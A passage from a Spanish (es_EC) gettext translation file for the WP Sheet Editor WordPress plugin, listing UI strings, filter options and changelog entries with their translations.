#~ "Hoja mejorada: Se ha movido la configuración a un menú desplegable para " #~ "simplificar la interfaz de usuario y se han añadido nuevas opciones de " #~ "menú contextual" #~ msgid "" #~ "Improved tools: columns visibility. Now you can delete unnecessary " #~ "columns and improved sorting and disable logic" #~ msgstr "" #~ "Herramientas mejoradas: visibilidad de columnas. Ahora puedes eliminar " #~ "columnas innecesarias y mejorar la lógica de ordenación y desactivación" #~ msgid "Fixed more than 13 bugs" #~ msgstr "Arreglados más de 13 bugs" #~ msgid "Improved 7 features" #~ msgstr "7 características mejoradas" #~ msgid "Updated 6 extensions." #~ msgstr "Actualizadas 6 extensiones." #~ msgid "View the entire changelog" #~ msgstr "" #~ "Ver el registro de cambios completo " #~ msgid "Dropdown with predefined options" #~ msgstr "Desplegable con opciones predefinidas" #~ msgid "" #~ "In this page you can select the label for every column displayed in the " #~ "spreadsheet editor. Each post type has its own set of options." #~ msgstr "" #~ "En esta página puedes seleccionar la etiqueta para cada columna mostrada " #~ "en el editor de la hoja de cálculo. Cada tipo de post tiene su propio " #~ "conjunto de opciones." #~ msgid "

                  " #~ msgstr "

                  " #~ msgid "Post type: %s" #~ msgstr "Tipo de Post: %s" #~ msgid "Label for %s?" #~ msgstr "Etiqueta para %s?" #~ msgid "Columns Labels" #~ msgstr "Etiquetas de las columnas" #~ msgid "Enter the new value." #~ msgstr "Ingresa el nuevo valor." #~ msgid "Enter the term(s) to append to the existing term(s)." #~ msgstr "" #~ "Ingresa el término(s) a agregar al final del término(s) existente(s)." #~ msgid "" #~ "For example, if you searched for posts by \"author = Mark\" using the " #~ "search tool, we will export only posts with \"author Mark\"" #~ msgstr "" #~ "Por ejemplo, si buscaste los posts por \"autor = Marcos\" usando la " #~ "herramienta de búsqueda, exportaremos sólo los posts con \"autor Marcos\"" #~ msgid "Post Types" #~ msgstr "Tipos de Post" #~ msgid "" #~ "

                  Security: Now the file upload cells are displayed only to the users " #~ "that have permissions to upload files.

                  " #~ msgstr "" #~ "

                  Seguridad: Ahora las celdas de carga de archivos se muestran sólo para " #~ "los usuarios que tienen permisos para cargar archivos.

                  " #~ msgid "" #~ "

                  Security: Now the private posts and pages are displayed only to the " #~ "users who have permissions to read and edit them.

                  " #~ msgstr "" #~ "

                  Seguridad: Ahora los posts y páginas privadas se muestran sólo a los " #~ "usuarios que tienen permisos para leerlos y editarlos.

                  " #~ msgid "" #~ "

                  Security: Now we don´t allow users to publish posts if they don´t have " #~ "permissions to publish, we save them as drafts.

                  " #~ msgstr "" #~ "

                  Seguridad: Ahora no permitimos que los usuarios publiquen posts si no " #~ "tienen permisos para publicarlos. Los guardamos como borradores.

                  " #~ msgid "

                  Other minor changes.

                  " #~ msgstr "

                  Otros cambios menores

                  " #~ msgid "" #~ "

                  New feature: Now the first column of the spreadsheet is always visible " #~ "while scrolling to the right.

                  " #~ msgstr "" #~ "

                  Nueva característica: Ahora la primera columna de la hoja de cálculo " #~ "está siempre visible mientras te desplazas hacia la derecha.

                  " #~ msgid "

                  Other minor changes and fixes.

                  " #~ msgstr "

                  Otros cambios menores.

                  " #~ msgid "" #~ "

                  New feature: Now you can edit WooCommerce products in the free plugin, " #~ "but with limited columns and product types.

                  " #~ msgstr "" #~ "

                  Nueva característica: Ahora puedes editar productos WooCommerce en el " #~ "plugin gratuito, aunque con columnas y tipos de producto limitados.

                  " #~ msgid "

                  New feature: Now you can upload featured images using URLs.

                  " #~ msgstr "" #~ "

                  Nueva característica: Ahora puedes subir imágenes destacadas usando " #~ "URLs.

                  " #~ msgid "" #~ "

                  Improvement: Now the spreadsheet support hundreds of rows at once, and " #~ "saving is faster.

                  " #~ msgstr "" #~ "

                  Mejora: Ahora la hoja de cálculo soporta cientos de filas a la vez, y " #~ "el guardado es más rápido.

                  " #~ msgid "" #~ "

                  NEW - USERS - Released users extension for editing WordPress users in " #~ "spreadsheet. Check extension

                  " #~ msgstr "" #~ "

                  NUEVO - USUARIOS - Extensión de usuarios lanzada para editar usuarios " #~ "de WordPress en una hoja de cálculo. Revisar la extensión

                  " #~ msgid "" #~ "

                  NEW - CORE - Added \"search\" tool. Search by keyword, author, and " #~ "post status.

                  " #~ msgstr "" #~ "

                  NUEVO - NÚCLEO - Se agregó la herramienta de \"búsqueda\". Buscar por " #~ "palabra clave, autor y estado del post.

                  " #~ msgid "" #~ "

                  NEW - COLUMNS RESIZING - Allow to resize columns and save for next " #~ "sessions.

                  " #~ msgstr "" #~ "

                  NUEVO - CAMBIAR EL TAMAÑO DE LAS COLUMNAS - Permite cambiar el tamaño " #~ "de las columnas y guardar para las próximas sesiones.

                  " #~ msgid "" #~ "

                  NEW - FILTERS - Added bar showing active filters with options to " #~ "remove individual filters.

                  " #~ msgstr "" #~ "

                  NUEVO - FILTROS - Se ha añadido una barra que muestra los filtros " #~ "activos con opciones para eliminar filtros individuales.

                  " #~ msgid "" #~ "

                  NEW - CORE - Added status bar showing number of posts loaded in " #~ "spreadsheet and total posts available according to the filters.

                  " #~ msgstr "" #~ "

                  NUEVO - NÚCLEO - Se ha añadido una barra de estado que muestra el " #~ "número de posts cargados en la hoja de cálculo y el total de posts " #~ "disponibles según los filtros.

                  " #~ msgid "" #~ "

                  NEW - CORE - Added settings page button in the toolbar for quick " #~ "access.

                  " #~ msgstr "" #~ "

                  NUEVO - NÚCLEO- Botón de la página de ajustes añadido en la barra de " #~ "herramientas para un acceso rápido.

                  " #~ msgid "

                  NEW - CORE - Updated welcome page to showcase extensions.

                  " #~ msgstr "" #~ "

                  NUEVO - NÚCLEO - Página de bienvenida actualizada para mostrar las " #~ "extensiones.

                  " #~ msgid "

                  CHANGE - CORE - Updated texts for improved usability.

                  " #~ msgstr "" #~ "

                  CAMBIO - NÚCLEO - Textos actualizados para mejorar la usabilidad.

                  " #~ msgid "" #~ "

                  CHANGE - CORE - Removed extensions teasers and replaced with a simple " #~ "text message.

                  " #~ msgstr "" #~ "

                  CAMBIO - NÚCLEO - Se han eliminado los teasers de las extensiones y se " #~ "han sustituido por un simple mensaje de texto.

                  " #~ msgid "" #~ "

                  CHANGE - CORE - If the spreadsheet wasn´t modified, don´t show the " #~ "\"please save your changes\" notification when the page is closed.

                  " #~ msgstr "" #~ "

                  CAMBIO - NÚCLEO - Si la hoja de cálculo no fue modificada, no mostrar " #~ "la notificación \"Por favor, guarda tus cambios\" cuando la página esté " #~ "cerrada.

                  " #~ msgid "" #~ "

                  FIX - CORE - When closing file uploads or tinymce popups, the screen " #~ "doesn´t return to the original position.

                  " #~ msgstr "" #~ "

                  AJUSTE - CORE - Al cerrar las subidas de archivos o ventanas " #~ "emergentes de tinymce, la pantalla no vuelve a su posición original.

                  " #~ msgid "

                  FIX - CORE - Sometimes options page doesn´t load.

                  " #~ msgstr "

                  AJUSTE- NÚCLEO - A veces la página de opciones no se carga.

                  " #~ msgid "

                  FIX - CORE - Schedule posts are not showing on spreadsheet.

                  " #~ msgstr "" #~ "

                  AJUSTE - NÚCLEO - Los posts del horario no se muestran en la hoja de " #~ "cálculo.

                  " #~ msgid "" #~ "

                  FIX - FILTERS - When using the same filter multiple times with " #~ "different values it starts returning wrong posts.

                  " #~ msgstr "" #~ "

                  AJUSTE - FILTROS - Cuando se utiliza el mismo filtro varias veces con " #~ "valores diferentes, comienza a devolver mensajes erróneos.

                  " #~ msgid "" #~ "

                  FIX - FILTERS - When making a lot of searches, the total posts count " #~ "changes and the infinite scroll stops working.

                  " #~ msgstr "" #~ "

                  AJUSTE - FILTROS - Cuando se hacen muchas búsquedas, el total de posts " #~ "cambia de cuenta y el desplazamiento infinito deja de funcionar.

                  " #~ msgid "" #~ "

                  FIX - CORE - it doesn´t allow to create new WooCommerce products.

                  " #~ msgstr "" #~ "

                  AJUSTE - NÚCLEO - No permite crear nuevos productos WooCommerce.

                  " #~ msgid "" #~ "

                  FIX - CORE - Spreadsheet becomes too slow when loading thousands of " #~ "rows.

                  " #~ msgstr "" #~ "

                  AJUSTE - NÚCLEO - La hoja de cálculo se vuelve demasiado lenta cuando " #~ "se cargan miles de filas.

                  " #~ msgid "" #~ "

                  NEW - POST TEMPLATES - Released free extension for duplicating posts " #~ "in the spreadsheet. Check extension" #~ msgstr "" #~ "

                  NUEVO - PLANTILLAS DE POST - Lanzamiento de una extensión gratuita " #~ "para la duplicación de posts en la hoja de cálculo. Revisar la extensión

                  " #~ msgid "" #~ "

                  NEW - COLUMNS VISIBILITY - This premium feature is now free. You can " #~ "hide and sort columns in the spreadsheet.

                  " #~ msgstr "" #~ "

                  NUEVO - VISIBILIDAD DE LAS COLUMNAS - Esta característica premium es " #~ "ahora gratuita. Puedes ocultar y ordenar columnas en la hoja de cálculo." #~ msgid "" #~ "

                  NEW - AUTO FILL CELLS - This premium feature is now free. You can " #~ "autofill cells by dragging down a cell like you do in excel.

                  " #~ msgstr "" #~ "

                  NUEVO - AUTOLLENAR CELDAS - Esta característica premium es ahora " #~ "gratuita. Puedes rellenar automáticamente las celdas arrastrando hacia " #~ "abajo una celda como lo haces en Excel.

                  " #~ msgid "" #~ "

                  NEW - WOOCOMMERCE - Added new columns to the free version of the " #~ "plugin: SKU, Width, Length, Height, Weight, Manage stock, Stock status, " #~ "and stock quantity.

                  " #~ msgstr "" #~ "

                  NUEVO - WOOOCOMMERCE - Se han añadido nuevas columnas a la versión " #~ "gratuita del plugin: SKU, Anchura, Longitud, Altura, Peso, Gestionar " #~ "stock, Estado de stock y cantidad de stock.

                  " #~ msgid "" #~ "

                  CHANGE - CORE - Improved usability. We updated some texts to make it " #~ "clear what features are free and what features are premium

                  " #~ msgstr "" #~ "

                  cambio - núcleo - Mejora de la usabilidad. Hemos actualizado algunos " #~ "textos para dejar claro qué características son gratuitas y qué " #~ "características son premium

                  " #~ msgid "" #~ "

                  CHANGE - CORE - the quick setup flow was redesigned to make the setup " #~ "easier to understand.

                  " #~ msgstr "" #~ "

                  CAMBIO - NÚCLEO - El flujo de configuración rápida fue rediseñado para " #~ "que la configuración sea más fácil de entender.

                  " #~ msgid "" #~ "

                  CHANGE - CORE - Improved translations. Now we include a .pot file.

                  " #~ msgstr "" #~ "

                  CAMBIO - NÚCLEO - Traducciones mejoradas. Ahora incluimos un archivo." #~ "pot.

                  " #~ msgid "" #~ "

                  FIX - CORE - Added compatibility with \"ultimate fields\" plugin.

                  " #~ msgstr "" #~ "

                  AJUSTE - CORE - Añadida la compatibilidad con el plugin \"ultimate " #~ "fields\".

                  " #~ msgid "" #~ "New feature - Added support for Advanced Custom Fields +v5.0.0. " #~ "(Available for paid users only. Upgrade)" #~ msgstr "" #~ "Nueva característica - Añadido soporte para Advanced Custom Fields " #~ "+v5.0.0. (Disponible sólo para usuarios de pago. Upgrade)" #~ msgid "" #~ "New feature - Spreadsheet formulas - Added support for regular " #~ "expressions (Available for paid users only. Upgrade)" #~ msgstr "" #~ "Nueva característica - Fórmulas de hoja de cálculo - Añadido soporte para " #~ "expresiones regulares (Disponible sólo para usuarios de pago. Upgrade)" #~ msgid "" #~ "New extension - WooCommerce Customers Spreadsheet. View all customer " #~ "profiles, View shipping and Billing info, Advanced Searches, and more. View Extension)" #~ msgstr "" #~ "Nueva extensión - Hoja de cálculo de clientes de WooCommerce. Ver todos " #~ "los perfiles de clientes, Ver información de envío y facturación, " #~ "Búsquedas avanzadas y más. Ver Extensión " #~ ")" #~ msgid "" #~ "Updated extension - Frontend Spreadsheets. Let your users create and edit " #~ "Information like Events, Business listings, WooCommerce Products, Posts, " #~ "etc. View Extension)" #~ msgstr "" #~ "Extensión actualizada - Hojas de cálculo de Frontend. Permite a tus " #~ "usuarios crear y editar información como eventos, listados de negocios, " #~ "Productos WooCommerce, Posts, etc. Ver " #~ "Extensión )" #~ msgid "Improved tools: formulas engine" #~ msgstr "Herramientas mejoradas: motor de fórmulas" #~ msgid "Improved tools: advanced search" #~ msgstr "Herramientas mejoradas: búsqueda avanzada" #~ msgid "Fixed more than 19 bugs" #~ msgstr "Arreglados más de 19 bugs" #~ msgid "Improved 10 features" #~ msgstr "10 características mejoradas" #~ msgid "Updated 4 extensions." #~ msgstr "4 Extensiones Actualizadas." #~ msgid "Apply filters" #~ msgstr "Aplicar filtros" #~ msgid "" #~ "You will be able to switch from one columns group to another group with " #~ "one click. We will display the option in the top toolbar > columns " #~ "manager dropdown" #~ msgstr "" #~ "Podrás cambiar de un grupo de columnas a otro grupo con un solo clic. " #~ "Mostraremos la opción en la barra de herramientas superior > desplegable " #~ "del gestor de columnas" #~ msgid "Edit thousands of rows at once in seconds" #~ msgstr "Edita miles de filas a la vez en segundos" #~ msgid "" #~ "Delete all the items containing duplicate values in the column, we only " #~ "leave one item per unique value. Read more" #~ msgstr "" #~ "Borrar todos los ítems que contienen valores duplicados en la columna, " #~ "sólo dejamos un ítem por cada valor único. Leer más" #~ msgid "Copy from multiple columns" #~ msgstr "Copiar desde varias columnas" #~ msgid "" #~ "Example: 'Articles written by $post_author$ on $post_date$' = 'Articles " #~ "written by Adam on 24-12-2017'.
                  Another example: '$category$-" #~ "$_regular_price$ EUR' would be 'Videos - 25 EUR'" #~ msgstr "" #~ "Ejemplo: 'Artículos escritos por $post_author$ en $post_date$' = " #~ "'Artículos escritos por Adam el 24-12-2017'.
                  Otro ejemplo: " #~ "'$category$-$_regular_price$ EUR' sería `Videos - 25 EUR´'." #~ msgid "The variations are for these products:" #~ msgstr "Las variaciones son para estos productos:" #~ msgid "Hide cell comments?" #~ msgstr "¿Ocultar los comentarios de las celdas?" #~ msgid "" #~ "For example, to get all products with price higher than 100, use: " #~ "_regular_price > 100" #~ msgstr "" #~ "Por ejemplo, para encontrar todos los productos con precio mayor a 100, " #~ "usa: _regular_price > 100" #~ msgid "" #~ "- The sheet has a limit of %d columns for performance reasons. You " #~ "reached the limit. You need to delete columns in the list above (Move " #~ "them to the \"disabled\" list and click the X button on each column), " #~ "reload the page, and new columns will appear automatically - or - you can " #~ "increase the columns limit." #~ msgstr "" #~ "- La hoja tiene un límite de %d de columnas por razones de rendimiento. " #~ "Has llegado al límite. Necesitas eliminar las columnas de la lista " #~ "anterior (Muévelas a la lista \"desactivada\" y haz clic en el botón X de " #~ "cada columna), vuelve a cargar la página, y aparecerán nuevas columnas " #~ "automáticamente - o - puedes aumentar el " #~ "límite de las columnas ." #~ msgid "" #~ "Make advanced searches and show only the matching rows in the " #~ "spreadsheet. You can search by multiple conditions at once." #~ msgstr "" #~ "Haz búsquedas avanzadas y muestra sólo las filas coincidentes en la hoja " #~ "de cálculo. Puedes buscar por múltiples condiciones a la vez." #~ msgid "" #~ "This feature allows you to filter the items in the spreadsheet to display " #~ "only the items you want to edit." #~ msgstr "" #~ "Esta función te permite filtrar los elementos de la hoja de cálculo para " #~ "mostrar sólo los elementos que quieres editar." #~ msgid "Update existing value with the result of a math operation." #~ msgstr "" #~ "Actualizar el valor existente con el resultado de una operación " #~ "matemática." #~ msgid "Decrease the existing value by a percentage." #~ msgstr "Disminuir el valor existente en un porcentaje." #~ msgid "Decrease the existing value by a number." #~ msgstr "Disminuir el valor existente en un número." #~ msgid "Increase the existing value by a percentage." #~ msgstr "Incrementar el valor existente en un porcentaje." #~ msgid "Increase the existing value by a number." #~ msgstr "Incrementar el valor existente en un número." #~ msgid "" #~ "Invalid #8W89WW. The search and replace text must not be empty. At least " #~ "one of them must have a value" #~ msgstr "" #~ "Inválido #8W89WWW. El texto de búsqueda y reemplazo no debe estar vacío. " #~ "Al menos uno de ellos debe tener un valor" #~ msgid "

                  Complete. You can close this popup

                  ." #~ msgstr "

                  Completo. Puedes cerrar esta ventana emergente

                  ." #~ msgid "%d of %d items have been processed. %d items have been updated." #~ msgstr "%d de %d artículos han sido procesados. %d han sido actualizados." #~ msgid "I will edit this file with Microsoft Excel." #~ msgstr "Editaré este archivo con Microsoft Excel." #~ msgid "" #~ "Sometimes Excel shows all the values in a single cell and it does not " #~ "recognize the comma as separator. This fixes that problem" #~ msgstr "" #~ "A veces Excel muestra todos los valores en una sola celda y no reconoce " #~ "la coma como separador. Esto arregla el problema" #~ msgid "" #~ "We find items that have the same value in the CSV Field and the WP Field." #~ "
                  For example, users with the same email address in the CSV and WP." #~ "
                  We can search in 2 fields. Example: products with same SKU and Title," #~ "
                  or users with same email address and username." #~ msgstr "" #~ "Encontramos elementos que tienen el mismo valor en el campo CSV y en el " #~ "campo WP.
                  Por ejemplo, los usuarios con la misma dirección de correo " #~ "electrónico en el CSV y WP.
                  Podemos buscar en 2 campos. Ejemplo: " #~ "productos con el mismo SKU y título,
                  o usuarios con la misma " #~ "dirección de correo electrónico y nombre de usuario." #~ msgid "Field 1: CSV Field" #~ msgstr "Campo 1: Campo CSV" #~ msgid "Field 1: WordPress Field" #~ msgstr "Campo 1: Campo de WordPress" #~ msgid "Share" #~ msgstr "Compartir" #~ msgid "" #~ "

                  Missing column?

                  1. Try to add it automatically. Click here
                  2. You reached the " #~ "columns limit? Fix it
                  3. Maybe " #~ "the column is hidden.
                  4. We can " #~ "help you Contact us
                  " #~ msgstr "" #~ "

                  ¿Falta una columna?

                  1. Intenta añadirla automáticamente. Haz clic aquí
                  2. ¿Has llegado al " #~ "límite de las columnas? Corregir
                  3. >Tal vez la columna esté oculta.
                  4. Podemos ayudarte Contáctanos
                  " #~ msgid "(Go premium)" #~ msgstr "(Pasate a Premium)" #~ msgid "How many posts do you want to display on the spreadsheet?" #~ msgstr "¿Cuántos posts quieres mostrar en la hoja de cálculo?" #~ msgid "Advanced" #~ msgstr "Avanzado" #~ msgid "" #~ "When you have 1000 posts , you might want to open the spreadsheet and " #~ "start editing from post 200. This option lets you open the spreadsheet " #~ "and start from a specific post index instead of starting from the " #~ "beginning." #~ msgstr "" #~ "Cuando tengas 1000 posts, es posible que quieras abrir la hoja de cálculo " #~ "y empezar a editar desde el post 200. Esta opción te permite abrir la " #~ "hoja de cálculo y empezar desde un índice de post específico en lugar de " #~ "empezar desde el principio." #~ msgid "Scheduled" #~ msgstr "Programado" #~ msgid "You can deactivate this forever on the settings page" #~ msgstr "Puedes desactivarlo para siempre en la página de configuración" #~ msgid "Available post types" #~ msgstr "Tipos de post disponibles" #~ msgid "Custom Spreadsheets for Your Users or Employees" #~ msgstr "Hojas de cálculo personalizadas para tus usuarios o empleados" modules/wp-sheet-editor/lang/vg_sheet_editor-es_EC.po000064400001165603147600365160016667 0ustar00msgid "" msgstr "" "Project-Id-Version: \n" "Report-Msgid-Bugs-To: \n" "POT-Creation-Date: 2023-07-12T19:16:48+00:00\n" "PO-Revision-Date: 2023-07-19 13:16-0600\n" "Last-Translator: \n" "Language-Team: \n" "Language: es_EC\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "Plural-Forms: nplurals=2; plural=(n != 1);\n" "X-Generator: Poedit 3.3.1\n" #: acf/acf.php:84 msgid "ACF: Show checkboxes as multi select dropdowns?" msgstr "" "ACF: ¿Mostrar las casillas de verificación como desplegados de selección " "múltiple?" #: acf/acf.php:85 msgid "" "By default, we show every checkbox as a separate column, but if you have " "checkboxes with many options you might want to use one column with a " "dropdown instead." msgstr "" "Por defecto, mostramos cada casilla de verificación como una columna " "separada, pero si tienes casillas de verificación con muchas opciones es " "posible que desees utilizar una columna con un desplegable en su lugar." #: acf/acf.php:377 msgid "" "You need to configure your Google Maps API key to save the Google Maps " "columns. This is required by Advanced Custom Fields, you can follow this tutorial" msgstr "" "Tienes que configurar la API key de Google Maps para poder guardar valores " "en las columnas de mapas de Advanced Custom Fields. Esto es requerido por " "Advanced Custom Fields, puedes seguir este tutorial" #: acf/acf.php:915 msgid "Enter a title" msgstr "Ingresa un título" #: acf/acf.php:1144 msgid "Row" msgstr "Fila" #: advanced-filters/advanced-filters.php:48 #: advanced-filters/advanced-filters.php:70 #: columns-manager/inc/column-groups.php:281 #: columns-resizing/columns-resizing.php:59 #: columns-visibility/columns-visibility.php:213 formulas/formulas.php:590 #: spreadsheet-setup/spreadsheet-setup.php:283 #: universal-sheet/universal-sheet.php:144 woocommerce/inc/attributes.php:799 #: woocommerce/inc/attributes.php:1019 woocommerce/inc/downloadable.php:368 #: woocommerce/inc/downloadable.php:387 woocommerce/inc/variations.php:1618 #: woocommerce/inc/variations.php:1637 #: wp-sheet-editor/dev/inc/api/editor.php:161 #: wp-sheet-editor/dev/wp-sheet-editor.php:1162 #: wp-sheet-editor/dev/wp-sheet-editor.php:1176 #: wp-sheet-editor/dev/wp-sheet-editor.php:1187 msgid "You dont have enough permissions to view this page." msgstr "No tienes suficientes permisos para ver esta página." #: advanced-filters/advanced-filters.php:132 msgid "Save this search" msgstr "Guardar esta búsqueda" #: advanced-filters/advanced-filters.php:133 msgid "Enter a name..." msgstr "Ingresa un nombre..." #: advanced-filters/advanced-filters.php:441 #: woocommerce/inc/import-export.php:96 msgid "Parent" msgstr "Padre" #: advanced-filters/advanced-filters.php:637 #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:39 msgid "Enter %s" msgstr "Ingresa %s" #: advanced-filters/advanced-filters.php:637 #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:39 msgid "Enter the names of " msgstr "Ingresa los nombres de " #: advanced-filters/advanced-filters.php:638 #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:40 msgid "Category name..." msgstr "Nombre de la categoría..." #: advanced-filters/advanced-filters.php:650 #: advanced-filters/advanced-filters.php:707 #: advanced-filters/advanced-filters.php:762 filters/filters.php:540 msgid "Select..." msgstr "Seleccionar..." #: advanced-filters/advanced-filters.php:705 msgid "Field" msgstr "Campo" #: advanced-filters/advanced-filters.php:714 msgid "Last edit" msgstr "Última modificación" #: advanced-filters/advanced-filters.php:715 msgid "Old slug" msgstr "Slug antiguo" #: advanced-filters/advanced-filters.php:716 filters/filters.php:508 #: wp-sheet-editor/dev/inc/api/bootstrap.php:662 msgid "Author" msgstr "Autor" #: advanced-filters/advanced-filters.php:717 msgid "Date (GMT)" msgstr "Fecha (GMT)" #: advanced-filters/advanced-filters.php:718 msgid "Modified Date (GMT)" msgstr "Fecha de Modificación (GMT)" #: advanced-filters/advanced-filters.php:719 #: wp-sheet-editor/dev/inc/api/bootstrap.php:725 msgid "Comments" msgstr "Comentarios" #: advanced-filters/advanced-filters.php:720 msgid "Ping status" msgstr "Estado del ping" #: advanced-filters/advanced-filters.php:721 #: wp-sheet-editor/dev/inc/api/bootstrap.php:501 msgid "URL Slug" msgstr "URL Slug" #: advanced-filters/advanced-filters.php:722 #: wp-sheet-editor/dev/inc/api/bootstrap.php:759 msgid "Page Parent" msgstr "Página Padre" #: advanced-filters/advanced-filters.php:723 msgid "Mime type" msgstr "Tipo de MIME" #: advanced-filters/advanced-filters.php:724 msgid "Comment count" msgstr "Recuento de comentarios" #: advanced-filters/advanced-filters.php:725 msgid "EDD Variable Prices" msgstr "Precio variable EDD" #: advanced-filters/advanced-filters.php:726 msgid "EDD Download Files" msgstr "Archivos de descarga EDD" #: advanced-filters/advanced-filters.php:757 msgid "A field is missing? Click here" msgstr "¿Faltan campos? Haz clic aquí" #: advanced-filters/advanced-filters.php:761 msgid "Operator" msgstr "Operador" #: advanced-filters/advanced-filters.php:767 woocommerce/inc/attributes.php:779 #: woocommerce/inc/attributes.php:780 woocommerce/inc/variations.php:507 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:947 msgid "Value" msgstr "Valor" #: advanced-filters/advanced-filters.php:772 #: advanced-filters/advanced-filters.php:798 #: wp-sheet-editor/dev/inc/api/bootstrap.php:276 msgid "Add new" msgstr "Añadir nuevo" #: advanced-filters/advanced-filters.php:775 msgid "X" msgstr "X" #: advanced-filters/advanced-filters.php:785 msgid "Enable advanced filters" msgstr "Habilitar filtros avanzados" #: advanced-filters/advanced-filters.php:788 #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:54 msgid "Advanced search" msgstr "Búsqueda avanzada" #: advanced-filters/advanced-filters.php:790 msgid "" "You can search by any field using operators. I.e. price > 100, image != " "(empty)" msgstr "" "Puedes buscar por cualquier campo usando operadores. Por ejemplo: precio > " "100, imagen != (vacío)" #: advanced-filters/advanced-filters.php:807 msgid "NOT Contains this keyword" msgstr "No Contiene esta palabra clave" #: advanced-filters/advanced-filters.php:807 msgid "" "Enter a keyword to exclude posts, separate multiple keywords with a " "semicolon (;)" msgstr "" "Ingresa una palabra clave para excluir filas. Separa múltiples palabras " "claves con un punto y coma (;)" #: advanced-filters/advanced-filters.php:811 msgid "Find these IDs:" msgstr "Encontrar estos IDs:" #: advanced-filters/advanced-filters.php:811 msgid "" "Enter IDs separated by commas, spaces, new lines, or tabs. You can use ID " "ranges like 20-50 as a shortcut." msgstr "" "Ingresa los IDs separados por comas, espacios, nuevas líneas, o usando tabs. " "Puedes agregar rangos como 20-50 como un acceso directo." #: advanced-filters/advanced-filters.php:816 msgid "Find these URLs:" msgstr "Encontrar estas URLs:" #: advanced-filters/advanced-filters.php:816 msgid "Enter one URL per line" msgstr "Ingresa una URL por línea" #: advanced-filters/advanced-filters.php:820 #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:46 msgid "Date range from" msgstr "Fecha Inicial" #: advanced-filters/advanced-filters.php:820 #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:46 msgid "Show items published between these dates" msgstr "Mostrar elementos publicados entre estas fechas" #: advanced-filters/advanced-filters.php:820 #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:46 msgid "to" msgstr "Fecha final" #: advanced-filters/advanced-filters.php:839 msgid "Any of these values (Enter multiple values separated by ;)" msgstr "" "Cualquiera de estos valores (Ingresa múltiples valores separados por ;)" #: advanced-filters/advanced-filters.php:840 msgid "CONTAINS" msgstr "CONTIENE" #: advanced-filters/advanced-filters.php:841 msgid "NOT CONTAINS" msgstr "NO CONTIENE" #: advanced-filters/advanced-filters.php:842 msgid "STARTS WITH" msgstr "INICIA CON" #: advanced-filters/advanced-filters.php:843 msgid "ENDS WITH" msgstr "TERMINA CON" #: advanced-filters/advanced-filters.php:844 msgid "CHARACTER LENGTH <" msgstr "CANTIDAD DE CARACTERES <" #: advanced-filters/advanced-filters.php:845 msgid "CHARACTER LENGTH >" msgstr "CANTIDAD DE CARACTERES >" #: advanced-filters/advanced-filters.php:846 msgid "REGEXP" msgstr "REGEXP" #: advanced-filters/advanced-filters.php:847 msgid "In the last x hours" msgstr "En las últimas X horas" #: advanced-filters/advanced-filters.php:848 msgid "In the last x days" msgstr "En los últimos X días" #: advanced-filters/advanced-filters.php:849 msgid "In the last x weeks" msgstr "En las últimas X semanas" #: advanced-filters/advanced-filters.php:850 msgid "In the last x years" msgstr "En los últimos X años" #: columns-manager/columns-manager.php:70 wp-sheet-editor/dev/inc/ajax.php:19 #: wp-sheet-editor/dev/inc/ajax.php:45 msgid "You dont have enough permissions to do this action." msgstr "No tienes suficientes permisos para realizar esta acción." #: columns-manager/columns-manager.php:103 msgid "Please select the background color" msgstr "Por favor, selecciona un color de fondo" #: columns-manager/columns-manager.php:105 formulas/inc/ui.php:622 msgid "Clear value" msgstr "Borrar valor" #: columns-manager/columns-manager.php:107 #: custom-columns/views/settings-page.php:149 #: wp-sheet-editor/dev/inc/api/bootstrap.php:265 #: wp-sheet-editor/dev/views/post-types-form.php:31 #: wp-sheet-editor/dev/views/settings-form.php:120 msgid "Save" msgstr "Guardar" #: columns-manager/columns-manager.php:108 formulas/inc/ui.php:132 #: posts-templates/posts-templates.php:106 #: universal-sheet/views/export-modal.php:14 #: universal-sheet/views/export-modal.php:84 #: universal-sheet/views/import-modal.php:15 #: wp-sheet-editor/dev/views/editor-page.php:265 msgid "Cancel" msgstr "Cancelar" #: columns-manager/columns-manager.php:259 msgid "" " Some columns have the button to change the " "formatting" msgstr "" " Algunas columnas tienen el botón para cambiar " "el formato" #: columns-manager/columns-manager.php:273 columns-visibility/views/form.php:9 msgid "Columns manager" msgstr "Gestor de columnas" #: columns-manager/columns-manager.php:554 #: wp-sheet-editor/dev/inc/api/bootstrap.php:830 msgid ". Add child categories using this format: Parent > child1 > child2" msgstr ". Agrega categorías hijas usando este formato: Padre > hija1 > hija2" #: columns-manager/columns-manager.php:563 msgid "Enter multiple terms separated by commas" msgstr "Ingresa varios términos separados por comas" #: columns-manager/columns-manager.php:581 msgid "Enter multiple post titles separated by commas" msgstr "Ingresa varios títulos separados por comas" #: columns-manager/columns-manager.php:1111 #: wp-sheet-editor/dev/inc/api/bootstrap.php:182 #: wp-sheet-editor/dev/inc/options-init.php:564 #: wp-sheet-editor/dev/inc/options-init.php:567 #: wp-sheet-editor/dev/views/quick-setup.php:101 msgid "Settings" msgstr "Ajustes" #: columns-manager/columns-manager.php:1127 #: custom-columns/views/settings-page.php:91 msgid "Is read only?" msgstr "¿Es de sólo lectura?" #: columns-manager/columns-manager.php:1131 msgid "" "Read-only columns will display a lock and it won't be possible to edit them " "anywhere in the spreadsheet. This is not a security feature because people " "still can edit in the regular WP screens." msgstr "" "Las columnas de sólo lectura mostrarán un candado y no será posible " "editarlas en ninguna parte de la hoja de cálculo. Esto no es una " "característica de seguridad porque la gente todavía puede editar en las " "pantallas normales de WP." #: columns-manager/columns-manager.php:1140 msgid "User capabilities that can read this column" msgstr "Capacidades del usuario que pueden leer esta columna" #: columns-manager/columns-manager.php:1140 msgid "" "The column will appear in the spreadsheet and exports if the user has a role " "with the required capability." msgstr "" "La columna aparecerá en la hoja de cálculo y en las exportaciones si el " "usuario tiene un rol con la capacidad requerida." #: columns-manager/columns-manager.php:1143 msgid "User capabilities that can edit this column" msgstr "Capacidades de usuario que pueden leer esta columna" #: columns-manager/columns-manager.php:1143 msgid "" "The column will be read only if the user doesn't have a role with the " "required capability." msgstr "" "La columna puede ser leía solo si el usuario no tiene un rol con la " 